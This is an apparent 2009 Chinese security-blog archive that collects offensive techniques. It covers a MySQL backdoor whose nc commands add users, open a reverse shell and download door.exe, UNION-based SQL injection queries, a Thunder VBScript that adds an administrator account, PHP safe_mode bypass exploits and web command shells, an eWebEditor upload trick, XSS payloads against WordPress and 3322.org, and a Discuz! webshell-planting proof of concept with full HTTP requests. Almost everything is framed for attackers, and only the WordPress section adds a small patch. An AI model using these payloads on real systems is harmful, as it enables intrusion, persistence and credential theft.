Archive for July, 2009:
Mysql BackDoor
来源:普瑞斯特
Mysql BackDoor是一款针对PHP+Mysql服务器开发的后门,后门安装后为Mysql增加一个可以执行系统命令的"state"函数,并且随 Mysql进程启动一个基于Dll的嗅探型后门,从而巧妙地实现了无端口,无进程,无服务的穿墙木马.程序在 WINXP,WIN2003+MYSQL5.0.X下通过.
安装
将Mysql.php传到PHP服务器上,依填上相应的Host-User-Password-DB后,点击"自动安装Mysql BackDoor"
安装成功后,Mysql上便会增加一个"state"函数,同时利用Mysql进程运行一个基于嗅探的后门. 这个后门在Windows下拥有与Mysql一样的系统权限.
使用state函数
State 函数实际是一个和PHP的"system()"功能相同的函数,可以用来执行系统命令.在"请输入SQL命令:"处填写要执行的mysql语 句,如" select state("net user nohack /add")",点击"执行SQL语句"后,便会得到运行结果.
使用基于Sniff的后门
有了state函数,即使WebShell丢了,只要服务器上有SQL注入点,我们就能通过注入".php?id=1 and state('net user')"的方法在服务器上执行命令.但是如果注入点都没有了呢?我们仍然调用基于Sniff的后门控制服务器.向服务器开放的任意端口发送以"Mysql-"开头的数据包,便能调用这个Sniff的后门,如:
1.运行系统命令: nc ip 80->回车->Mysql-cmd /c net user abc /add>c:/log.txt!(注意:最后的"!"不可省略)
2.让服务器反弹Shell到本机20082端口:先运行nc –lp 20082监听本机的20082端口,再nc ip 80->回车->Mysql-c-->回车
3.让服务器下载文件:nc ip 80->回车->Mysql-http://www.x.com/door.exe -c mydoor.exe!(注意:最后的"!"不可省略)
除了发送"Mysql-c-",其他的命令是没有回显的,但相应的命令已经在服务器上运行了.
卸载
在Mysql上运行"drop function state"便可卸载,但同时会造成mysql进程退出,重启后恢复正常.
解决%90注入得到表的不到字段的网站
来源:zake
此方法解决%90注入得到表的不到字段的网站,衷心感谢兄弟2月30日讨论!
我举动力文章的例子,他的是28个字段,加入admin表5个字段,那么
1 2 | UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 FROM admin UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* FROM admin |
* 就是5个字段?这样来爆admin里边的所有表名,但注意 * 确实代表了所有admin表的字段。如果正好比如username在可显示位置,他就会显示在页面上。
技术都有局限性 这个方法需要知道表名和一个字段名id,不需要其他字段,比如什么password username 。你要问他如果不在可显示位置么,通常不知道的是表名 表段名 可以通过查找后台登陆找到,这个就要看自己的了。
大家看看这个语句
1 | UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* FROM (admin AS a INNER JOIN admin AS b ON a.id=b.id) |
这个(admin as a inner join admin as b on a.id=b.id)是admin表自连接,这样from 后面的表就会成为字段数加倍的表,前面18+2*5 = 28 个字段 就是合法的。* 代表的字段就会拓宽 加大username password在可显示位置的几率。
如果不在怎么办? 那么
1 2 3 | UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* FROM (admin AS a INNER JOIN admin AS b ON a.id=b.id) UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* FROM (admin AS a INNER JOIN admin AS b ON a.id=b.id) |
大家是否觉得很疑惑 18+ 2 + 5*2 = 30 > 28 但这条语句是合法的
这个地方很关键,他为什么会是合法的语句,这个地方是技术核心 必须理解。前边是 30 后边是 28 怎么可能相等?因为a.id 和 b.id在 * 里是有的,那么计算机自动去掉重复的保持集合里元素的唯一性,这样一来虽然查询效果一样,但是*里的字段排列顺序却被打乱了!先后两次打乱 很有可能让username password偏移到可显示的位置。
如果还没成功 怎么办?
1 2 3 | UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* FROM ((admin AS a INNER JOIN admin AS b ON a.id=b.id) INNER JOIN admin AS c ON a.id=c.id) UNION SELECT 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* FROM (((admin AS a INNER JOIN admin AS b ON a.id=b.id) INNER JOIN admin AS c ON a.id=c.id) INNER JOIN admin AS d ON a.id=d.id) |
在我还没有看到这篇文章之前,我就有个思路,使用交叉查询(join on)爆列名,不过看了这
篇文章之后,感觉这个还是很局限性的,有空再自己测试研究一下,毕竟SQL语句是强大的
迅雷提权
来源:杰少
当我们使用迅雷下载东西的时候,会调用我们安装迅雷后一个htm文件,去激活htm文件里的一些代码,
把我们所下载东西添加到列表当中。
所对应的htm文件有2处一处是C:\Program Files\Thunder Network\Thunder\Program\geturl.htm
一处是C:\Program Files\Thunder Network\Thunder\Program\getAllurl.htm
如果我们想把我们想要的代码添加进去执行了?
我们简单写个代码试试,代码如下:
1 2 3 4 5 | <script language="VBScript"> Set vbs=CreateObject("Wscript.Shell") vbs.run "cmd /c net user st0p 123456 /add",0 vbs.run "cmd /c net localgroup administrators 123456 /add",0 </script> |
应该大家都可以看的出,如果我们把这段代码添加到那2个htm文件里,当迅雷下载东西的时候,一样
会去执行我们的代码。添加一个administrators组的一个用户st0p
当然,代码大家可以自定义的..
测试通过,迅雷版本为5.9.2.927
另类远程连接
来源:龙儿心
用shift后门进服务器之后,不用创建用户,只要找到system32文件夹下的tsadmin.exe打开,然后直接连接管理员的账号就可以!也可以在cmd下直接运行tsadmin.exe!退出的时候断开就可以!
命令行下一种新的加帐号的方法
作者:lcx
今天研究了一下用户控制面板文件nusrmgr.cpl,发现调用的是Shell.Users来加用户,它还同时调用了 wscript.shell、Shell.Application、Shell.LocalMachine这三个组件.不过加用户的话,这一个 Shell.Users就足够了.那么可能在删掉了net.exe和不用adsi之外,这也可能是一种新的加用户的方法.
代码如下:
js:
1 2 3 4 | var o=new ActiveXObject( "Shell.Users" ); z=o.create("test") ; z.changePassword("123456","") z.setting("AccountType")=3; |
vbs:
1 2 3 4 | Set o=CreateObject( "Shell.Users" ) Set z=o.create("test") z.changePassword "123456","" z.setting("AccountType")=3 |
php safe mode bypass all
来源:vul.kr
PHP safe mode bypass from 4.x to 5.x all.
Functions:
* mb_send_mail
* curl_init
* imap_open
* mail
* ioncube_read_file
* posix_getpwuid
* error_log
* extension_loaded
* copy
* procopen
A php code safe-mode-bypass.php for you:
http://img.vul.kr/uploads/20090722/1248265458safe-mode-bypass.zip
Some New Exploit:
* PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
1 2 3 4 5 6 7 8 9 10 11 12 13 | <!--p if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required!"); $path = str_repeat("..\", 20); $MyBoot_readfile = readfile($path."windows\system.ini"); #just to be sure that I set correctely disable_function :) $MyBoot_ioncube = ioncube_read_file($path."boot.ini"); echo $MyBoot_readfile; echo " ionCube output: "; echo $MyBoot_ioncube; --> |
* PHP < 5.2.5 Safe mode Bypass
http://img.vul.kr/uploads/20090722/1248268771p-hp-5.2.5.rar
* PHP 5.2.6 error_log safe_mode bypass
http://img.vul.kr/uploads/20090722/1248268875P-HP-5.2.6-error_log-safe_mode.txt
* PHP <= 5.2.9 Local Safemod Bypass Exploit (win32)
http://img.vul.kr/uploads/20090722/12482693952009-safemod-windows.zip
* PHP python extension safe_mode Bypass Local Vulnerability
http://img.vul.kr/uploads/20090722/1248270429python_bypass.txt
* PHP safe_mode bypass via proc_open() and custom environment
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | <!--p $path="/var/www"; //change to your writable path $a=fopen($path."/.comm","w"); fputs($a,$_GET["c"]); fclose($a); $descriptorspec = array( 0--> array("pipe", "r"), 1 => array("file", $path."/output.txt","w"), 2 => array("file", $path."/errors.txt", "a" ) ); $cwd = '.'; $env = array('LD_PRELOAD' => $path."/a.so"); $process = proc_open('id > /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed sleep(1); $a=fopen($path."/.comm1","r"); echo "<strong>"; while (!feof($a)) {$b=fgets($a);echo $b;} fclose($a); ?>; </strong> |
PHP Perl Extension Safe_mode Bypass Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | <!--if(!extension_loaded('perl'))die('perl extension is not loaded'); if(!isset($_GET))$_GET=&$HTTP_GET_VARS; if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls'; $perl=new perl(); echo "<textarea rows='25' cols='75'>"; $per-->eval("system('".$_GET['cmd']."')"); echo ""; $_GET['cmd']=htmlspecialchars($_GET['cmd']); echo " <form enctype="application/x-www-form-urlencoded" method="get">CMD: <input name="cmd" size="25" type="text" value="".$_GET[" /></form> " ?> |
ewebeditor v6.0.0版本漏洞
来源:zake's blog
今天和静流聊天,他说ewebeditor出了最新漏洞。于是就是检测一下,这个程序爆漏洞一般都是直接上传的漏洞,不过没错 就是上传漏洞。首先在本地搭建一个ASP环境重命名一个木马名字例如:1.gif.asp这样的就OK了。
那么接下来完美本地搭建一个环境你可以用WEB小工具搭建一个,目的就是让远程上传。
http://127.0.0.1/1.gif.asp
搭建好了,在上传的地方,图片来源是网络,加上网络地址
然后确定,这里是最关键的一部!
这里点了“远程文件自动上传”以后,再提交得到木马地址
由于官方在图片目录做了限制 导致不能执行ASP脚本而没能拿到WEB权限。
属于安全检测漏洞版本ewebeditor v6.0.0
WordPress 2.8 All Version Xss 0DAY
From:vul.kr
It had been published that wordpress 2.8 All version are suffering from Xss,attackers can use this to do fishing,they make a wordpress login page as it is your own.If you don’t take care,your password will be sent to the attacker’s website.With your password,they can edit pages and upload webshell.It is harmful.
How is the attacker do this?
they insert website url like this(in the comments write place):
http://www.st0p.org’onmousemove=’location.href=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,118,117,108,46,107,114,47,63,112,61,53,54,57);
If someone(or administrator) moved his mouse on the author’s website.It will jump to another URL,which is a fishing page.
How can we patch it?Edit wp-comments-post.php go line 40 and then add:
1 2 3 | $comment_author_url = str_replace(chr(39),”,$comment_author_url); $comment_author_url = str_replace(chr(59),”,$comment_author_url); $comment_author_url = str_replace(chr(44),”,$comment_author_url); |
3322 xss跨站漏洞
作者:st0p
在一个站上面看到了个图,是别人利用后的图片,在3322上弹出一个提示,不过没写利用方法,然后偶就测试了一下..嘿嘿,写出利用方法吧,不过用处好像不大..
打开http://www.3322.org/dyndns/login
然后用户名处输入
1 | "><script>alert('st0p感觉压力很大');</script> |
当然这种利用方法不是我们喜欢的,我们换成网址...
http://www.3322.org/dyndns/login?action=login&username=%22%3E%3Cscript%3Ealert%28%27st0p%B8%D0%BE%F5%D1%B9%C1%A6%BA%DC%B4%F3%27%29%3B%3C%2Fscript%3E&password=bbb
嘿嘿,如果说这东西发在一篇需要使用3322域名的教程之后,会有啥效果呢....这想法很YD..
Discuz! admin\styles.inc.php get-webshell bug
author: ring04h
team:http://www.80vul.com
由于Discuz!的admin\styles.inc.php里preg_match正则判断$newcvar变量操作不够严谨,导致执行代码漏洞.
一 分析
在文件admin\styles.inc.php里代码:
1 2 3 4 5 6 7 8 9 10 | if($newcvar && $newcsubst) { if($db->result_first("SELECT COUNT(*) FROM {$tablepre}stylevars WHERE variable='$newcvar' AND styleid='$id'")) { cpmsg('styles_edit_variable_duplicate', '', 'error'); } elseif(!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar)) { cpmsg('styles_edit_variable_illegal', '', 'error'); } $newcvar = strtolower($newcvar); $db->query("INSERT INTO {$tablepre}stylevars (styleid, variable, substitute) VALUES ('$id', '$newcvar', '$newcsubst')"); } |
上面代码可以看出来当有后台权限时,可通过编辑风格,自定义模板变量处插入 !','80VUL');EVAL($_POST[RING]);// 替换出插入 exp by ring04h!,远程写入webshell执行代码.
二 利用
POC:
step1:
POST /bbs/admincp.php?action=styles HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://www.80vul.com/bbs/admincp.php?action=styles
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.80vul.com
Content-Length: 154
Connection: Keep-Alive
Cache-Control: no-cache
Cookie:
formhash=99238f2d&anchor=&updatecsscache=0&namenew%5B1%5D=%C4%AC%C8%CF%B7%E7%B8%F1&availablenew%5B1%5D=1&defaultnew=1&newname=exp&stylesubmit=%CC%E1%BD%BB
step2:
POST /bbs/admincp.php?action=styles&operation=edit&id=6 HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Referer: http://www.80vul.com/bbs/admincp.php?action=styles&operation=edit&id=6
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: www.80vul.com
Content-Length: 1402
Connection: Keep-Alive
Cache-Control: no-cache
Cookie:
formhash=99238f2d&anchor=&namenew=exp&templateidnew=1&stylevar%5B249%5D=1&stylevar%5B247%5D=&stylevar%5B248%5D=&stylevar%5B246%5D=&stylevar%5B250%5D=&stylevarbgimg%5B250%5D=&stylevarbgextra%5B250%5D=&stylevar%5B251%5D=&stylevarbgimg%5B251%5D=&stylevarbgextra%5B251%5D=&stylevar%5B252%5D=&stylevarbgimg%5B252%5D=&stylevarbgextra%5B252%5D=&stylevar%5B253%5D=&stylevar%5B254%5D=&stylevar%5B255%5D=&stylevar%5B256%5D=&stylevar%5B257%5D=&stylevar%5B258%5D=&stylevar%5B259%5D=&stylevar%5B260%5D=&stylevar%5B261%5D=&stylevar%5B262%5D=&stylevar%5B263%5D=&stylevar%5B264%5D=&stylevar%5B265%5D=&stylevar%5B266%5D=&stylevar%5B267%5D=&stylevar%5B268%5D=&stylevar%5B269%5D=&stylevar%5B270%5D=&stylevar%5B271%5D=&stylevar%5B272%5D=&stylevar%5B273%5D=&stylevar%5B274%5D=&stylevar%5B275%5D=&stylevarbgimg%5B275%5D=&stylevarbgextra%5B275%5D=&stylevar%5B276%5D=&stylevar%5B277%5D=&stylevar%5B278%5D=&stylevar%5B279%5D=&stylevar%5B280%5D=&stylevar%5B281%5D=&stylevar%5B282%5D=&stylevar%5B283%5D=&stylevarbgimg%5B283%5D=&stylevarbgextra%5B283%5D=&stylevar%5B284%5D=&stylevarbgimg%5B284%5D=&stylevarbgextra%5B284%5D=&stylevar%5B285%5D=&stylevarbgimg%5B285%5D=&stylevarbgextra%5B285%5D=&stylevar%5B286%5D=&stylevar%5B287%5D=&stylevar%5B288%5D=&stylevar%5B289%5D=&stylevar%5B290%5D=&stylevar%5B291%5D=&newcvar=%21%27%2C%2780vul%27%29%3Beval%28%24_post%5Bring%5D%29%3B%2F%2F&newcsubst=exp+by+ring04h%21&editsubmit=%CC%E1%BD%BB
webshell:
http://www.80vul.com/bbs/forumdata/cache/style_6.php
三 补丁[fix]
该漏洞已提交,等待官方补丁.



